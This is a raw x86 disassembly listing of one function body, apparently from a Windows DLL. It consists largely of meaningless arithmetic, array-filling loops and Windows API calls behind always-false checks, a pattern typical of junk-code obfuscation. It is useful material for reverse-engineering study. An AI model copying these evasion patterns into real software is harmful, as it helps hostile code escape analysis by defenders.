xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003652a
cmp dword [ebp - 0x2c], eax
je 0x1003652a
mov esi, ebx
jmp 0x1003652c
xor eax, eax
mov esi, eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 5
mov eax, dword [ebp - 0x20]
setne cl
xor edx, edx
cmp ecx, esi
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, 0xe905f4d0
neg ecx
sbb ecx, ecx
inc ecx
or esi, 0xffffffff
mov dword [ebp - 0x2c], ecx
jmp 0x1003656b
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003656b
push eax
push eax
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10036578
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], 0xaee5
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ebx
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003659a
mov eax, ebx
add eax, 0xaf9f7c8b
xor ecx, ecx
cmp eax, 0x32e3
push ebx
setne cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x714]
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ebx
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100365ef
push dword [ebp - 0x14]
lea ecx, [ebp - 0x714]
call fcn.1001b8b2
mov dword [eax], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100365d5
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10036611
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xcbc], 7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100365f8
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x10036712
movdqa xmm0, xmmword [0x1000ca50]
lea eax, [ebp - 0xf58]
push eax
lea eax, [ebp - 0xf68]
mov dword [ebp - 0x20], 0xf09c
push eax
lea ecx, [ebp - 0x13c0]
movdqu xmmword [ebp - 0xf68], xmm0
call fcn.1001b8c1
lea ecx, [ebp - 0x22a]
mov esi, eax
call fcn.1000db63
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xd34]
push dword [esi]
call fcn.1001b883
mov byte [ebp - 4], 0x18
mov eax, 0xffff
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10036695
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x698], 0x9481f340
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003667d
xor eax, eax
push eax
lea ecx, [ebp - 0x714]
call fcn.1001b8b2
lea ecx, [ebp - 0x714]
mov dword [eax], 0x65925ef2
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.1001b8b2
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov esi, dword [ebp - 0x698]
lea ecx, [ebp - 0xd34]
setne dl
add esi, 0x7d67
add esi, edx
neg esi
push ebx
sbb esi, esi
neg esi
call fcn.1001b8b2
imul edx, esi, 6
xor ecx, ecx
mov dword [eax], esi
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
cmp edx, eax
setge cl
mov dword [ebp - 0xcb8], ecx
lea ecx, [ebp - 0xd34]
mov byte [ebp - 4], 0x17
call fcn.1001b8ad
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffef
jg 0x10036619
or esi, 0xffffffff
lea ecx, [ebp - 0x714]
mov dword [ebp - 4], esi
call fcn.1001b8ad
push ebx
lea ecx, [ebp - 0x61c]
call fcn.1001b841
mov dword [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x24], 0xd670012a
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10036779
push dword [ebp - 0x18]
lea ecx, [ebp - 0x61c]
call fcn.1001b8b2
mov dword [eax], 0x5b57fd54
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003675b
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jg 0x100367ee
jmp 0x10036785
xor eax, eax
mov dword [ebp - 0x54], 0x6524
mov dword [ebp - 0x20], esi
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100367a3
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
xor eax, eax
mov esi, ebx
cmp dword [ebp - 0x2c], eax
jne 0x100367ac
mov esi, eax
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x61c]
call fcn.1001b8b2
mov ecx, dword [ebp - 0x24]
sub esi, ecx
xor ecx, ecx
cmp esi, 0x488f4f36
push 0xffffffffffffffff
setge cl
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x54]
setne dl
add eax, edx
imul eax, eax, 0xba1b
pop esi
mov dword [ebp - 0x20], eax
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], eax
jle 0x10036783
or esi, esi
lea ecx, [ebp - 0x61c]
mov dword [ebp - 4], esi
call fcn.1001b8ad
push 2
xor eax, eax
lea ecx, [ebp - 0xec0]
mov byte [ebp - 0x4d], al
pop esi
mov dword [ebp - 0x1c], 8
mov dword [ebp - 0x3c], 0x4b2ab76d
mov dword [ebp - 0x2c], 0xce55459e
push esi
call fcn.1001b841
xor eax, eax
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x18], eax
jmp 0x10036846
push dword [ebp - 0x18]
lea ecx, [ebp - 0xec0]
call fcn.1001b8b2
mov dword [eax], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10036833
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x1c]
jg 0x1003689f
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], 0xffffffe9
jmp 0x10036897
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x3c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffeb
jle 0x10036881
jmp 0x1003690c
mov dword [ebp - 0x2c], 0xbc4aee50
mov dword [ebp - 0x3c], 0x1c
jmp 0x10036907
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100368d1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x908], 0x57a67d92
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100368b9
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffe3
jmp 0x100368fb
dec dword [ebp - 0x904]
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100368f8
push 0xe0a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe8
jl 0x100368da
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
je 0x100368af
or eax, 0xffffffff
lea ecx, [ebp - 0xec0]
mov dword [ebp - 4], eax
call fcn.1001b8ad
cmp byte [ebp - 0x4d], 0
je 0x10036a07
mov dword [ebp - 0x14], 0x7ddc85f7
xor eax, eax
mov dword [ebp - 0x38], 0x5b8b78ac
mov dword [ebp - 0x2c], 0xffd03b15
mov dword [ebp - 0x2c], 0x9843334a
mov dword [ebp - 0x2c], 0xfab8d232
mov dword [ebp - 0x14], eax
jmp 0x100369f7
cmp dword [ebp - 0x14], 8
jle 0x10036954
mov dword [ebp - 0x4c], esi
or ecx, 0xffffffff
mov dword [ebp - 0x4c], ebx
xor eax, eax
mov dword [ebp - 0x4c], 0xb457102d
mov dword [ebp - 0x4c], 0x6748f69f
mov dword [ebp - 0x4c], 0x14b733c6
mov dword [ebp - 0x4c], 0x6b6eb6b9
mov dword [ebp - 0x4c], 0xaa29c146
mov dword [ebp - 0x4c], 0xfffffff6
mov dword [ebp - 0x4c], 0x182abbf9
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x2c], 0x5a519d81
mov dword [ebp - 0x18], eax
jmp 0x10036a63
cmp dword [ebp - 0x18], esi
jl 0x10036a52